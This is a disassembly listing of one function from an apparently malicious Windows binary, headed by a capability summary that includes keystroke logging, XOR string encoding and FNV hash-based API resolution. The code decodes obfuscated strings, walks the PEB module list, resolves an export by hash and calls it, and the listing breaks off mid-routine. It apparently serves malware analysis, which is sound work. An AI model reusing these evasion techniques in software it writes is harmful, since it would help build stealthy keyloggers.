Function at 0x1400ccfc0
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Hash data using fnv
Log keystrokes via polling
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x550]
sub rsp, 0x650
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov qword [rbp + 0x1bd], rax
movabs rsi, 0xea10e8cb23aa8aec
mov word [rbp + 0x1c5], ax
movabs r12, 0x2386e68393fbee3c
mov dword [rbp + 0x1b0], 0xcdc8d4d3
movabs r14, 0x4a3f297159ca5a94
mov dword [rbp + 0x1b4], 0x9595b1a9
movabs r15, 0x3315c6a31d27e1c
mov dword [rbp + 0x1b8], 0x57564d96
movabs r13, 0xbc238f6309daa1a4
mov byte [rbp + 0x1bc], 0xec
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor r11d, r11d
cmp r11, 0x17
jae 0x1400cddda
movzx ebx, byte [rbp + r11 + 0x1b0]
mov edi, ebx
nop dword [rax + rax]
cmp r8, r11
ja 0x1400cddd1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cd0bc
lea rcx, [r11 + r12]
mov rax, rcx
and rax, rdi
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdi
add r10b, 0x5c
jmp 0x1400cd103
je 0x1400cdd42
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cdca6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cdc69
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cdc45
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cdbfb
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cdbc9
cmp r9, r11
ja 0x1400cddc8
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400cd12d
lea rcx, [r11 + rsi]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x74
jmp 0x1400cd170
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400cdb72
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cdb46
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cdb21
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400cdafd
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400cdae9
nop
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400cd785
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400cd75e
lea rcx, [r9 + 0x200]
cmp r8, rcx
je 0x1400cd72d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400cd704
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cd6f5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cd6ca
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400cd6a5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400cd67e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400cd657
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cd632
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400cd180
lea r9, [rcx + 0x40]
mov r8, rcx
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400cdda0
lea rcx, [r9 + 0x10]
cmp r8, rcx
jb 0x1400cdd7d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400cd36d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400cd34d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400cd32e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400cd5d1
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400cd57b
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400cd52a
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400cd4fc
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400cd180
lea r9, [rcx + 6]
mov r8, rcx
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400cd4c7
lea rcx, [r9 + 3]
cmp r8, rcx
ja 0x1400cd49f
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400cd477
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400cd454
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400cd42e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400cd406
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cd3dd
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400cd3b1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400cd38c
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400cd180
mov r8, rcx
lea r9, [rcx + 0x5a]
jmp 0x1400cd180
lea rdx, [r11 + r14]
movzx eax, dil
and al, dl
movzx r10d, dil
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x1400cd170
lea rdx, [r11 + r15]
mov ecx, 0x1e
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400cd103
lea rdx, [r11 + r13]
movzx eax, dil
and al, dl
movzx r10d, dil
add al, al
sub r10b, al
sub r10b, 0x7c
add r10b, dl
jmp 0x1400cd090
mov ecx, 0x30
movabs rdx, 0x508746591d545760
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400cdb91
movzx eax, bl
movabs rcx, 0x9797951f55c7ae8
add rcx, r11
inc r9
and al, cl
dec r11
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x58
inc r11
jmp 0x1400cd073
movzx eax, bl
movabs rcx, 0xc26bac4acd649e70
add rcx, r11
dec r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x10
inc r11
jmp 0x1400cd073
mov ecx, 0x1c
movabs rdx, 0x7b5ddf43a56cc1f8
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400cdc1a
movzx eax, bl
movabs rcx, 0x3450123c7d74e580
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
add r8, r9
jmp 0x1400cdc8d
movzx eax, bl
movabs rcx, 0xed424535557d0908
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
jmp 0x1400cdc8d
mov ecx, 8
movabs rdx, 0xa634782e2d852c90
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdcc5
mov ecx, 0x2c
movabs rdx, 0x5f26ab27058d5018
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400cdcf8
movzx eax, bl
movabs rcx, 0x1818de1fdd9573a0
add rcx, r11
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r9
add r11, rax
lea r10d, [rcx + rbx]
sub r10b, 0x60
inc r11
jmp 0x1400cd073
movzx eax, bl
movabs rcx, 0x66765d8df9a9cc74
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2c
mov byte [rbp + r11 + 0x1b0], r10b
inc r11
jmp 0x1400cd073
movabs rdx, 0x1f689086d1b1effc
movzx eax, bl
add rdx, r11
mov ecx, 0xe
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r9, 0x41
jb 0x1400cd51a
mov edx, 0x14
movabs rcx, 0x27bfd86cf660ebe8
add rcx, r11
movzx eax, bl
and al, cl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x1400cdb94
mov ecx, 0x32
movabs rdx, 0xd85ac37fa9ba1384
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r8, 5
jae 0x1400cda89
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400cd966
movabs rdx, 0x6135d62566b24f38
movzx eax, bl
add rdx, r11
mov ecx, 0x3c
and al, dl
jmp 0x1400cd541
movabs rdx, 0x914cf67881c2370c
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x1400cdab9
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400cd873
movabs rdx, 0x7724ed5a4307c44c
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x14
jmp 0x1400cd59b
mov ecx, 0x24
movabs rdx, 0x7c6574c2d5ff4188
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400cdd63
movabs rdx, 0x3557a7bbae076510
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x1400cdcf8
movabs rdx, 0xee49dab4860f8898
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x1400cdcc5
mov ecx, 0x10
movabs rdx, 0xa73c0dad5e17ac20
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400cdc8a
mov ecx, 0x34
movabs rdx, 0x602e40a6361fcfa8
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
jmp 0x1400cdc8d
movabs rdx, 0x1920739f0e27f330
jmp 0x1400cd7ef
movzx eax, bl
movabs rcx, 0xd212a697e63016b8
add rcx, r11
dec r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 8
inc r11
jmp 0x1400cd073
mov ecx, 0x20
movabs rdx, 0x8b04d990be383a40
add rdx, r11
movzx eax, bl
and al, dl
inc r9
sub cl, al
dec r11
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r11
jmp 0x1400cd073
movabs rdx, 0x43f70c8996405dc8
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x1400cdb94
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400cd7ae
lea rdx, [r11 + r12]
mov ecx, 0x2e
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400cd5f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cd7dc
mov ecx, 0xc
movabs rdx, 0xd421d196475515d8
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400cdd63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cd80c
movabs rdx, 0x3766d2ba0f2c6430
add rdx, r11
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x1400cdc1a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cd843
mov ecx, 0x34
movabs rdx, 0x7e749fc1372440a8
add rdx, r11
movzx eax, bl
and al, dl
dec r11
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r11
jmp 0x1400cd073
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400cd5f3
movabs rcx, 0xc9039cf8713f998
movzx eax, bl
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x28
jmp 0x1400cdb94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cd8a3
movabs rdx, 0xbe32ba616affa0c4
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, dl
jmp 0x1400cdb94
inc rax
cmp r8, rax
jne 0x1400cd8d9
mov ecx, 0xa
movabs rdx, 0x4c4e546fbaef59b4
add rdx, r11
movzx eax, bl
and al, dl
dec r11
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r11
jmp 0x1400cd073
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cd908
movzx eax, bl
movabs rcx, 0xda69ee7e0adf12a4
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x7c
add r8, r9
jmp 0x1400cdc8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cd936
mov ecx, 0x1e
movabs rdx, 0x2177bb8532d6ef1c
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400cdc8a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cd59e
movabs rcx, 0x6885888c5acecb94
movzx eax, bl
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xc
jmp 0x1400cdcc5
jne 0x1400cd98d
mov ecx, 0x18
movabs rdx, 0xa843a32c8eaa2bb0
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400cdd63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cd9bd
movabs rdx, 0x365f3d3ade99e4a0
movzx eax, bl
add rdx, r11
movzx r10d, bl
and al, dl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x1400cdcc5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cd9eb
mov ecx, 0x2c
movabs rdx, 0x7d6d0a420691c118
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400cdc8a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cda1f
mov ecx, 8
movabs rdx, 0xc47ad7492e899d90
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
jmp 0x1400cdc8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cda4b
movabs rcx, 0xb88a45056817a08
movzx eax, bl
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x1400cdc1a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400cd54d
mov ecx, 0x1c
movabs rdx, 0x99a43e5ea67132f8
add rdx, r11
movzx eax, bl
and al, dl
inc r9
sub cl, al
dec r11
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r11
jmp 0x1400cd073
mov ecx, 0x30
movabs rdx, 0x6ecda5741e58c860
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + r11 + 0x1b0]
add r10b, dl
add r10b, bl
jmp 0x1400cdc1a
mov ecx, 0xc
movabs rdx, 0xb5db727b4650a4d8
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + r11 + 0x1b0]
add r10b, dl
add r10b, bl
jmp 0x1400cdcc5
movabs rdx, 0x698d1e0b8b614b24
mov ecx, 2
jmp 0x1400cdd51
movabs rcx, 0xdb7183fd3b719234
movzx eax, dil
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
jmp 0x1400cdcc5
movzx eax, dil
movabs rcx, 0x9463b6f61379b5bc
add rcx, r11
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x24
jmp 0x1400cdc8d
mov ecx, 0x12
movabs rdx, 0x4d55e9eeeb81d944
add rdx, r11
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
add r8, r9
jmp 0x1400cdc8d
mov eax, 0x22
movabs rcx, 0x311eb5d24ba26764
add rcx, r11
and dil, cl
sub al, dil
lea r10d, [rax + rax]
add r10b, cl
add r10b, bl
movabs rdx, 0x4b46bef08a5cda24
movzx eax, bl
add rdx, r11
mov ecx, 2
and al, dl
inc r9
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x1b0], cl
dec r11
inc r11
jmp 0x1400cd073
mov ecx, 0xe
movabs rdx, 0x5bf54ebcd3bad1fc
add rdx, r11
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x1400cd073
movabs rcx, 0xcdd9b4ae83cb190c
movzx eax, dil
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x54
movabs rcx, 0x92548bf7b254b69c
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x44
add cl, bl
add cl, r10b
mov byte [rbp + r11 + 0x1b0], cl
add r8, r9
jmp 0x1400cdc8d
movabs rcx, 0x86cbe7a75bd33c94
movzx eax, dil
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xc
add r8, r9
jmp 0x1400cdc8d
mov ecx, 0x1e
movabs rdx, 0x3fbe1aa033db601c
add rdx, r11
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400cd073
movabs rcx, 0xf8b04d990be383a4
movzx eax, dil
add rcx, r11
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
inc r9
movabs rdx, 0xd96258feda4c9314
add rdx, r11
mov ecx, 0x3a
movzx eax, dl
and al, bl
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x1b0], al
add rax, r9
sub r11, rax
movzx eax, bl
inc r8
movabs rcx, 0xfce93f826e488150
add rcx, r11
and al, cl
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0x30
add bl, cl
mov byte [rbp + r11 + 0x1b0], bl
add r11, rax
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cd073
movabs rdx, 0x6a94b38abbf3cab4
mov ecx, 0xa
add rdx, r11
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cd073
movzx eax, bl
movabs rcx, 0x7515c25be1e2c52c
add rcx, r11
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x34
jmp 0x1400cd070
mov ecx, 0xa
movabs rdx, 0x2e07f554b9eae8b4
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400cd060
lea rdi, [rbp + 0x1441200]
jmp 0x1400cdde1
lea rdi, [rbp + 0x140003c]
jmp 0x1400cdde1
lea rdi, [rbp + 0x1b0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400cde75
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400cde75
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x7dd3b13f
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400cde70
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400cde50
cmp edx, 0x621264a1
je 0x1400cde7a
test r9d, r9d
jne 0x1400cde30
mov rax, qword [rax]
jmp 0x1400cde00
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r11d, byte [rsp + 0x30]
xor eax, eax
mov qword [rbp + 0x1db], rax
movabs rsi, 0x5ea0b81765b6a21
mov byte [rbp + 0x1e3], al
movabs rdx, 0x4721b04883035f4e
mov dword [rbp + 0x1d0], 0xbd8f80bd
movabs r12, 0xf41755e197ebf8dd
mov dword [rbp + 0x1d4], 0x8bdadfdf
movabs r14, 0x88aba17d7d201fff
mov word [rbp + 0x1d8], 0x9192
movabs r15, 0xa07cf5ba4d482e45
mov byte [rbp + 0x1da], 0xec
movabs r13, 0xb84e49f71d703c8b
nop
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor edi, edi
cmp rdi, 0x14
jae 0x1400cecad
movzx ebx, byte [rbp + rdi + 0x1d0]
mov r10, rbx
cmp r8, rdi
ja 0x1400ceca4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cdf63
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0xb
jmp 0x1400cdfb0
je 0x1400cec16
inc rax
cmp r8, rax
je 0x1400cebb7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ceb5e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ceaf1
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400ceabe
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400cea62
nop dword [rax]
cmp r9, rdi
ja 0x1400cec9b
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400cdfd9
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x19
jmp 0x1400ce010
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cea41
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cea0e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ce9eb
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400ce9c8
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400ce64d
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ce625
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ce5ea
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400ce5b2
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400ce58a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400ce567
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400ce544
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400ce521
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400ce4fd
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400ce4da
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400ce020
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400cec78
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400cec55
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400ce20b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400ce1f1
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400ce1d7
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400ce479
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400ce418
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400ce3c8
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400ce390
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400ce020
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x40]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400ce368
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400ce343
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400ce31e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400ce2f6
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400ce2ce
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400ce2a9
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400ce276
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400ce249
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400ce225
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400ce020
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x2a]
jmp 0x1400ce020
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 7
jmp 0x1400ce010
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1d
jmp 0x1400cdfb0
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x33
jmp 0x1400cdf34
movabs rdx, 0x2f505c0bb2db5108
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x38
jmp 0x1400cea81
lea rcx, [rdi + rdx]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
movabs rdx, 0x4721b04883035f4e
lea r11d, [rcx + rbx]
sub r11b, 0x22
inc rdi
jmp 0x1400cdf22
movzx eax, bl
movabs rcx, 0x5ef30485532b6d94
add rcx, rdi
movabs rdx, 0x4721b04883035f4e
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xc
inc rdi
jmp 0x1400cdf22
mov ecx, 5
movabs rdx, 0x76c458c223537bda
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ceb10
mov ecx, 0x10
movabs rdx, 0x8e95acfef37b8a20
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ceb38
mov ecx, 0x1b
movabs rdx, 0xa667013bc3a39866
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ceb3b
mov ecx, 0x26
movabs rdx, 0xbe38557893cba6ac
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ceb81
mov ecx, 0x31
movabs rdx, 0xd609a9b563f3b4f2
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400cebdb
mov ecx, 0x3c
movabs rdx, 0xeddafdf2341bc338
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400cec35
movzx eax, bl
movabs rcx, 0x2966508a3c7fe6e7
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x51
mov byte [rbp + rdi + 0x1d0], r11b
movabs rdx, 0x4721b04883035f4e
inc rdi
jmp 0x1400cdf22
movabs rdx, 0x4137a4c70ca7f52d
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x3b
add r11b, dl
cmp r9, 8
jb 0x1400ce3ae
mov ecx, 0xf
movabs rdx, 0x414c37e28805280e
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400cea84
movabs rdx, 0x5908f903dcd00373
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x25
add r11b, dl
cmp r8, 0x1000
jae 0x1400ce96f
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400ce831
mov ecx, 0x3d
movabs rdx, 0x2f798242a995b6ca
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ce3e7
movabs rdx, 0x70da4d40acf811b9
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0xf
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 9
je 0x1400ce99b
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400ce77b
movabs rdx, 0x298f76c1333a4ca9
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0x61
jmp 0x1400ce437
movzx eax, bl
movabs rcx, 0x237c4508c6247cc6
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
jmp 0x1400cec35
movabs rdx, 0x3b4d9945964c8b0c
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x54
